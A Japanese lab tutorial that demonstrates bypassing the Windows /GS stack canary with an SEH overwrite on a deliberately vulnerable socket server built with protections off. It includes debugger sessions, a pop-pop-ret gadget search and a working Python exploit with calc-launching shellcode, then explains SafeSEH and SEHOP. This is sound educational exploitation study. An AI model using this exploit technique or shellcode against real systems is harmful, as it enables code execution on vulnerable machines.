WindowsでSEH overwriteによるstack canary(/GS)回避をやってみる

スタックバッファオーバーフロー攻撃に対する防御手法のひとつにstack canaryがある。 これは関数の先頭でcanaryと呼ばれるランダムな値をスタックに積んでおき、関数の末尾でこの値が書き換えられていないかチェックすることで攻撃を検知するというものである。 Windowsではコンパイル時に/GSオプションをつけることでstack canaryが有効になるが、これを回避できる攻撃手法としてSEH overwriteと呼ばれる手法が知られている。 SEHはStructured Exception Handler(構造化例外ハンドラ)の略であり、これはアクセス違反やゼロ除算などによる例外をプログラム中で扱うための機構である。

ここでは/GSオプションが有効な実行ファイルに対し、SEH overwriteによるシェルコード実行をやってみる。

環境

Windows 8.1 Pro 64 bit版、Visual Studio Community 2013 with Update 4

>systeminfo
OS 名:                  Microsoft Windows 8.1 Pro
OS バージョン:          6.3.9600 N/A ビルド 9600
OS ビルドの種類:        Multiprocessor Free
システムの種類:         x64-based PC
プロセッサ:             1 プロセッサインストール済みです。
                        [01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~758 Mhz

>cl
Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86

>cdb -version
cdb version 6.3.9600.17298

脆弱性のあるプログラムを書いてみる

まず、スタックバッファオーバーフロー脆弱性のあるプログラムコードを書く。

/* bof.c */
#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")

void bof(SOCKET c)
{
    char buf[400];
    int *ptr;
    printf("[+] buf = %p\n", buf);
    recv(c, buf, 1024, 0);

    /* trigger INVALID_POINTER_WRITE exception */
    ptr = *(int **)buf;
    *ptr = 0;
}

int main()
{
    WSADATA wsaData;
    SOCKET s, c;
    SOCKADDR_IN name;
    BOOL yes = 1;

    WSAStartup(MAKEWORD(2, 2), &wsaData);

    s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);
    setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (const char *)&yes, sizeof(yes));

    name.sin_family = AF_INET;
    name.sin_addr.s_addr = INADDR_ANY;
    name.sin_port = htons(4444);

    bind(s, (SOCKADDR *)&name, sizeof(name));
    listen(s, 5);
    puts("[+] listening on 0.0.0.0 port 4444");

    c = accept(s, NULL, NULL);
    closesocket(s);
    puts("[+] connection accepted");

    bof(c);

    closesocket(c);

    ExitProcess(0);
}

SEH overwriteではスタックバッファオーバーフローが起こった後、関数を抜けるまでの間に例外が発生することを前提とする。 このコードでは入力の先頭4バイトをint型ポインタとみなし値を書き込むことで、不正な入力が与えられたときアクセス違反例外が起こるようになっている。

DEP、ASLR、SafeSEH無効、stack canary(/GS)有効でコンパイルする。

>cl bof.c /GS /link /nxcompat:no /dynamicbase:no /safeseh:no

Windows 8では後述するSEHOPと呼ばれるセキュリティ機構が標準で有効となっている。 ここでは、下記のレジストリを設定することにより、生成されたbof.exeについてSEHOPを無効にする。

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bof.exe]
"DisableExceptionChainValidation"=dword:00000001

デバッガで例外ハンドラの仕組みを確認してみる

デバッガのもとでプログラムを起動し、例外が発生したときの状態を調べてみる。

>cdb bof.exe
(snip)
(218c.548): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=d27e0000 edx=00000000 esi=7ffde000 edi=00000000
eip=77d83bed esp=0018faec ebp=0018fb18 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!LdrpDoDebuggerBreak+0x2b:
77d83bed cc              int     3
0:000> g
ModLoad: 749d0000 74a1b000   C:\WINDOWS\SysWOW64\mswsock.dll
[+] listening on 0.0.0.0 port 4444

プログラムに接続し入力を送り込むと、アクセス違反例外が発生する。

$ nc localhost 4444
AAAAAAAA
[Ctrl+C]
0:000> g
ModLoad: 749d0000 74a1b000   C:\WINDOWS\SysWOW64\mswsock.dll
[+] listening on 0.0.0.0 port 4444
[+] connection accepted
[+] buf = 0018FBE8
(218c.548): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for image00400000
*** ERROR: Module load completed but symbols could not be loaded for image004000
00
eax=41414141 ebx=00000000 ecx=41414141 edx=0018fb28 esi=00401528 edi=00401528
eip=00401051 esp=0018fbe4 ebp=0018fd7c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
image00400000+0x1051:
00401051 c70100000000    mov     dword ptr [ecx],0    ds:002b:41414141=????????

This exception may be expected and handled.とあるように、この例外はSEHによって処理される。 具体的には、発生した例外を処理できるハンドラにたどりつくまで、例外ハンドラのリストをたどり順に実行していく。 例外ハンドラのリストは、TEB(Thread Environment Block)の先頭にあるTIB(Thread Information Block)と呼ばれる構造体のExceptionListメンバにある。 また、TEBはfsセグメントの先頭に配置されている。

デバッガでExceptionListの内容を確認してみると、次のようになる。

0:000> dg fs
                                  P Si Gr Pr Lo
Sel    Base     Limit     Type    l ze an es ng Flags
---- -------- -------- ---------- - -- -- -- -- --------
0053 7ffdd000 00000fff Data RW Ac 3 Bg By P  Nl 000004f3
0:000> dt _TEB 7ffdd000 -r1
ntdll!_TEB
   +0x000 NtTib            : _NT_TIB
      +0x000 ExceptionList    : 0x0018ff70 _EXCEPTION_REGISTRATION_RECORD
      +0x004 StackBase        : 0x00190000 Void
      +0x008 StackLimit       : 0x0018d000 Void
      +0x00c SubSystemTib     : (null)
      +0x010 FiberData        : 0x00001e00 Void
      +0x010 Version          : 0x1e00
      +0x014 ArbitraryUserPointer : (null)
      +0x018 Self             : 0x7ffdd000 _NT_TIB
   +0x01c EnvironmentPointer : (null)
(snip)
0:000> dt _EXCEPTION_REGISTRATION_RECORD 0x0018ff70
ntdll!_EXCEPTION_REGISTRATION_RECORD
   +0x000 Next             : 0x0018ffcc _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : 0x00402700     _EXCEPTION_DISPOSITION  +0
0:000> dl 0x0018ff70
0018ff70  0018ffcc 00402700 76b084f3 00000000
0018ffcc  ffffffff 77d674a0 76bf3698 00000000

dlコマンドはリンクリストを表示するコマンドであり、与えられたポインタの際を順にたどるのに合わせて後続するデータを表示する。 上の結果から、0040270077d674a0のアドレスに計2個のハンドラが登録されていることがわかる。 ここで、ffffffff = -1はリストの終端を意味する。

例外ハンドラのリストは、!exchainコマンドでも表示することができる。

0:000> !exchain
0018ff70: image00400000+2700 (00402700)
0018ffcc: ntdll!_except_handler4+0 (77d674a0)
  CRT scope  0, filter: ntdll!__RtlUserThreadStart+54386 (77d7f076)
                func:   ntdll!__RtlUserThreadStart+543cd (77d7f0bd)

表示されている内容が、先に調べた結果と一致していることが確認できる。

ここで、最初の例外ハンドラのレコード(SEHレコード)が置かれているアドレス0018ff70ebpレジスタが指すアドレス0018fd7cを比較すると非常に近いことがわかる。 実際、SEHレコードはスタックの下部に配置されており、スタックバッファオーバーフローによって書き換えが可能である。 ebpからのオフセットを計算してみると次のようになる。

0:000> ? 0018ff70-ebp
Evaluate expression: 500 = 000001f4
0:000> q
quit:

上の結果から、ebpから500バイト先に最初のSEHレコードが配置されていることがわかる。

SEHレコードを書き換えてみる

ここまでの内容をもとに、最初のSEHレコードを書き換えるスクリプトを書いてみる。

# test.py
import socket

bufsize = 400
ebp_to_seh_record = 500

buf = 'A' * bufsize
buf += 'AAAA'                   # stack canary
buf += 'A' * ebp_to_seh_record  # ebp points here
buf += 'aaaabbbb'

c = socket.create_connection(('127.0.0.1', 4444))
c.sendall(buf)
c.close()

デバッガのもとでプログラムを起動した後スクリプトを実行し、プログラムの状態を調べてみると次のようになる。

$ python test.py
>cdb bof.exe
(snip)
0:000> g
ModLoad: 749d0000 74a1b000   C:\WINDOWS\SysWOW64\mswsock.dll
[+] listening on 0.0.0.0 port 4444
[+] connection accepted
[+] buf = 0018FBE8
(ac8.1708): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for image00400000
*** ERROR: Module load completed but symbols could not be loaded for image004000
00
eax=41414141 ebx=00000000 ecx=41414141 edx=0018fb28 esi=00401528 edi=00401528
eip=00401051 esp=0018fbe4 ebp=0018fd7c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
image00400000+0x1051:
00401051 c70100000000    mov     dword ptr [ecx],0    ds:002b:41414141=????????
0:000> !exchain
0018ff70: 62626262
Invalid exception stack at 61616161
0:000> t
(ac8.1708): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=62626262 edx=77d100cf esi=00000000 edi=00000000
eip=62626262 esp=0018f630 ebp=0018f650 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
62626262 ??              ???
0:000> q
quit:

最初の例外ハンドラのアドレスが0x62626262(bbbb)になっているのと同時に、次のレコードを指すポインタが0x61616161(aaaa)となりリストが途切れていることが確認できる。 また、処理を進めると実際に0x62626262にジャンプしている。 このことから、0x62626262の代わりに適当なアドレスをセットすることで、そのアドレスにジャンプできることがわかる。

SEHレコードへのリターン

スタックのアドレスはランダム化されているため、事前にバッファが置かれたアドレスを得ることができない場合、シェルコードが置かれたアドレスを特定できない。 そこで、例外ハンドラ呼び出し時の引数に着目する。

EXCEPTION_DISPOSITION __cdecl _except_handler
(
  struct _EXCEPTION_RECORD* _ExceptionRecord,
  void*                     _EstablisherFrame,
  struct _CONTEXT*          _ContextRecord,
  void*                     _DispatcherContext
);

例外ハンドラが呼ばれる際、スタックには例外ハンドラからのリターンアドレスの後、上に示す4つの引数が順に並んでいる。 また、_EstablisherFrameにはその時点でのSEHレコードのアドレスが入る。 ここで、例外ハンドラのアドレスとしてpop REG; pop REG; retの形のROP gadgetを指定すると、リターンアドレスと_ExceptionRecordをpopした後SEHレコードが置かれているアドレスにジャンプすることができる。

rp++を使って、gadgetを探してみる。

$ ./rp-win-x64.exe --file=bof.exe --rop=2 --unique > gadgets.txt

$ grep ": pop" gadgets.txt
0x00402673: pop eax ; pop ebp ; ret  ;  (1 found)
0x00407149: pop eax ; pop ebx ; ret  ;  (1 found)
0x00401717: pop eax ; pop esi ; ret  ;  (2 found)
0x0040360a: pop ebx ; pop ebp ; ret  ;  (9 found)
0x00401525: pop ecx ; pop ebp ; ret  ;  (11 found)
0x00401246: pop ecx ; pop ecx ; ret  ;  (5 found)
0x00404b3f: pop edi ; pop ebp ; ret  ;  (2 found)
0x00403dc9: pop edi ; pop esi ; ret  ;  (4 found)
0x004017a6: pop esi ; pop ebp ; ret  ;  (34 found)
0x0040565d: pop esi ; pop ebx ; ret  ;  (2 found)
0x00406588: pop esi ; pop edi ; ret  ;  (18 found)

見つかったgadgetを例外ハンドラのアドレスとして指定するスクリプトを書いてみる。

# test2.py
import socket
import struct

addr_pop2 = 0x004017a6  # 0x004017a6: pop esi ; pop ebp ; ret  ;  (34 found)
bufsize = 400
ebp_to_seh_record = 500

buf = 'A' * bufsize
buf += 'AAAA'                   # stack canary
buf += 'A' * ebp_to_seh_record  # ebp points here
buf += '\xcc\xcc\xcc\xcc'
buf += struct.pack('<I', addr_pop2)

c = socket.create_connection(('127.0.0.1', 4444))
c.sendall(buf)
c.close()

デバッガのもとでプログラムを起動した後スクリプトを実行し、プログラムの状態を調べてみる。

$ python test2.py
>cdb bof.exe
(snip)
0:000> g
ModLoad: 749d0000 74a1b000   C:\WINDOWS\SysWOW64\mswsock.dll
[+] listening on 0.0.0.0 port 4444
[+] connection accepted
[+] buf = 0018FBE8
(820.1ee0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for image00400000
*** ERROR: Module load completed but symbols could not be loaded for image004000
00
eax=41414141 ebx=00000000 ecx=41414141 edx=0018fb28 esi=00401528 edi=00401528
eip=00401051 esp=0018fbe4 ebp=0018fd7c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
image00400000+0x1051:
00401051 c70100000000    mov     dword ptr [ecx],0    ds:002b:41414141=????????
0:000> !exchain
0018ff70: image00400000+17a6 (004017a6)
Invalid exception stack at cccccccc
0:000> u 004017a6
image00400000+0x17a6:
004017a6 5e              pop     esi
004017a7 5d              pop     ebp
004017a8 c3              ret
004017a9 55              push    ebp
004017aa 8bec            mov     ebp,esp
004017ac 8b4508          mov     eax,dword ptr [ebp+8]
004017af 83f814          cmp     eax,14h
004017b2 7d16            jge     image00400000+0x17ca (004017ca)
0:000> t
eax=00000000 ebx=00000000 ecx=004017a6 edx=77d100cf esi=77d100b1 edi=00000000
eip=0018ff70 esp=0018f63c ebp=0018f730 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
0018ff70 cc              int     3
0:000> dc eip
0018ff70  cccccccc 004017a6 8641b034 00000000  ......@.4.A.....
0018ff80  0018ff94 767c7c04 7ffde000 767c7be0  .....||v.....{|v
0018ff90  f0d264e0 0018ffdc 77d2ad1f 7ffde000  .d.........w....
0018ffa0  f184510e 00000000 00000000 7ffde000  .Q..............
0018ffb0  fffff801 00000000 00000000 d76512f0  ..............e.
0018ffc0  f184510e 0018ffa0 ffffe000 ffffffff  .Q..............
0018ffd0  77d674a0 864e03e2 00000000 0018ffec  .t.w..N.........
0018ffe0  77d2acea 00000000 00000000 00000000  ...w............
0:000> q
quit:

例外ハンドラのアドレスとしてgadgetのアドレスが入り、SEHレコードの先頭にジャンプしていることが確認できる。

シェルコードを実行してみる

以上の内容をもとに、シェルコードを実行するエクスプロイトコードを書くと次のようになる。

# exploit.py
import socket
import struct

addr_pop2 = 0x004017a6  # 0x004017a6: pop esi ; pop ebp ; ret  ;  (34 found)
bufsize = 400
ebp_to_seh_record = 500

# WinExec("calc", SW_SHOWNORMAL); ExitProcess(0);
shellcode = '\xFC\xEB\x65\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x37\x49\x8B\x34\x8B\x03\xF5\x33\xFF\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE4\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA8\x33\xC0\x50\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x84\xFF\xFF\xFF\x50\x68\x7E\xD8\xE2\x73\xE8\x79\xFF\xFF\xFF'

buf = 'A' * bufsize
buf += 'AAAA'
buf += shellcode
buf += 'A' * (ebp_to_seh_record-len(shellcode))
buf += '\xeb\x06\x90\x90'            # jmp $+8
buf += struct.pack('<I', addr_pop2)
buf += '\xe9\xff\xfd\xff\xff'        # jmp $-508

c = socket.create_connection(('127.0.0.1', 4444))
c.sendall(buf)
c.close()

SEHレコードの先頭には4バイトしか置けないため、上のコードでは一旦8バイト先にジャンプした後、あらためてシェルコードの先頭にジャンプするようにしている。

bof.exeを起動し、エクスプロイトコードを実行してみる。

$ python exploit.py

シェルコードが実行され、電卓が起動することが確認できる。

SafeSEH

SEH overwriteに対する防御手法として、SafeSEHがある。 SafeSEHを有効にしてコンパイルすると、有効な例外ハンドラのアドレスが実行ファイル中に記録され、ハンドラを実行する前にこれらと照合するようになる。

SafeSEHを有効にしてコンパイルし、dumpbinコマンドで詳細を確認してみる。

>cl bof.c /link /nxcompat:no /dynamicbase:no

>dumpbin /loadconfig bof.exe
Microsoft (R) COFF/PE Dumper Version 12.00.31101.0
Copyright (C) Microsoft Corporation.  All rights reserved.


Dump of file bof.exe

File Type: EXECUTABLE IMAGE

  Section contains the following load config:

            00000048 size
                   0 time date stamp
                0.00 Version
                   0 GlobalFlags Clear
                   0 GlobalFlags Set
                   0 Critical Section Default Timeout
                   0 Decommit Free Block Threshold
                   0 Decommit Total Free Threshold
            00000000 Lock Prefix Table
                   0 Maximum Allocation Size
                   0 Virtual Memory Threshold
                   0 Process Heap Flags
                   0 Process Affinity Mask
                   0 CSD Version
                0000 Reserved
            00000000 Edit list
            0041204C Security Cookie
            00410E00 Safe Exception Handler Table
                   3 Safe Exception Handler Count

    Safe Exception Handler Table

          Address
          --------
          004026F0
          00405650
          00407F10

  Summary

        3000 .data
        5000 .rdata
        C000 .text

上の結果から、Safe Exception Handler Tableとして有効な例外ハンドラのアドレスが記録されていることがわかる。 また、実際に攻撃を行うと失敗することが確認できる。

Structured Exception Handling Overwrite Protection(SEHOP)

SafeSEHでは例外ハンドラのアドレスがDLL内を指す場合、そのDLLの例外ハンドラテーブルを確認する。 ここで、DLLがSafeSEH無効で例外ハンドラテーブルが存在しない場合、ハンドラはそのまま実行される。 したがって、実行ファイル内のgadgetを使う代わりにSafeSEH無効かつASLR無効なDLL内のgadgetを使うことで、SafeSEHが回避できてしまう。

そこで、新たな防御手法としてSEHOPが実装されている。 SEHOPを有効にし、通常実行した際の例外ハンドラのリストを調べてみると次のようになる。

0:000> !exchain
0018ff70: image00400000+2700 (00402700)
0018ffcc: ntdll!_except_handler4+0 (77d674a0)
  CRT scope  0, filter: ntdll!__RtlUserThreadStart+54386 (77d7f076)
                func:   ntdll!__RtlUserThreadStart+543cd (77d7f0bd)
0018ffe4: ntdll!FinalExceptionHandlerPad17+0 (77d10220)

SEHOPは、例外ハンドラが呼び出される際に例外ハンドラのリストがntdll!FinalExceptionHandlerPad17まで繋がっているかを確認し、正常な場合のみ例外ハンドラを実行する。 SEHOPを回避するにはntdll!FinalExceptionHandlerPad17のアドレスを得る必要があるが、ntdll.dllはシステムDLLでありASLR有効となっているため、容易ではない。

関連リンク